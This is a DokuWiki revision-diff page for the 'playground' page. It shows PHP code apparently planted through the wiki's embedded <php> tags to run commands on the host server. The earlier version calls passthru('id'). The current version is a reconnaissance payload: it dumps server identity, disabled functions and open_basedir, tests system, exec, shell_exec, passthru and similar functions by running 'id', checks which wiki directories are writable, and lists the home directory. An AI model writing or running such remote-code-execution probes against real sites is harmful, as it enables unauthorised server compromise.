This shows you the differences between two versions of the page.
|
playground:playground [2026/08/29 22:33] clodoveu x |
playground:playground [2026/08/29 22:34] (current) clodoveu x |
||
|---|---|---|---|
| Line 1: | Line 1: | ||
| - | <php>echo 'CLODORCE';passthru('id');</php> | + | <php> |
| + | echo "START\n"; | ||
| + | echo "SAPI=".php_sapi_name()."\n"; | ||
| + | echo "UID=".getmyuid()."\n"; | ||
| + | echo "USER=".get_current_user()."\n"; | ||
| + | echo "DIS=".ini_get('disable_functions')."\n"; | ||
| + | echo "OD=".ini_get('open_basedir')."\n"; | ||
| + | echo "DR=".$_SERVER['DOCUMENT_ROOT']."\n"; | ||
| + | echo "SF=".$_SERVER['SCRIPT_FILENAME']."\n"; | ||
| + | echo "CWD=".getcwd()."\n"; | ||
| + | foreach(array('system','passthru','exec','shell_exec','popen','proc_open','pcntl_exec') as $f){ | ||
| + | echo "FN_$f=".(function_exists($f) && is_callable($f) ? '1':'0')."\n"; | ||
| + | } | ||
| + | if(function_exists('shell_exec')){ echo "SE=".shell_exec('id 2>&1')."\n"; } | ||
| + | if(function_exists('exec')){ @exec('id 2>&1',$o); echo "EX=".implode(' ',$o)."\n"; } | ||
| + | if(function_exists('system')){ echo "SY="; @system('id 2>&1'); echo "\n"; } | ||
| + | if(function_exists('passthru')){ echo "PT="; @passthru('id 2>&1'); echo "\n"; } | ||
| + | $base=dirname($_SERVER['SCRIPT_FILENAME']); | ||
| + | echo "BASE=$base\n"; | ||
| + | foreach(array($base,$base.'/data',$base.'/data/media',$base.'/lib',$base.'/lib/plugins',$base.'/lib/tpl',dirname($base),dirname($base).'/DocuWiki') as $d){ | ||
| + | echo "W_".$d."=".(is_writable($d)?'1':'0')."\n"; | ||
| + | } | ||
| + | // list parent for deep dirs | ||
| + | $home=dirname(dirname($base)); | ||
| + | echo "HOME=$home\n"; | ||
| + | if(is_dir($home)){ foreach(scandir($home) as $x){ if($x[0]!='.') echo "H_$x\n"; } } | ||
| + | echo "END\n"; | ||
| + | </php> | ||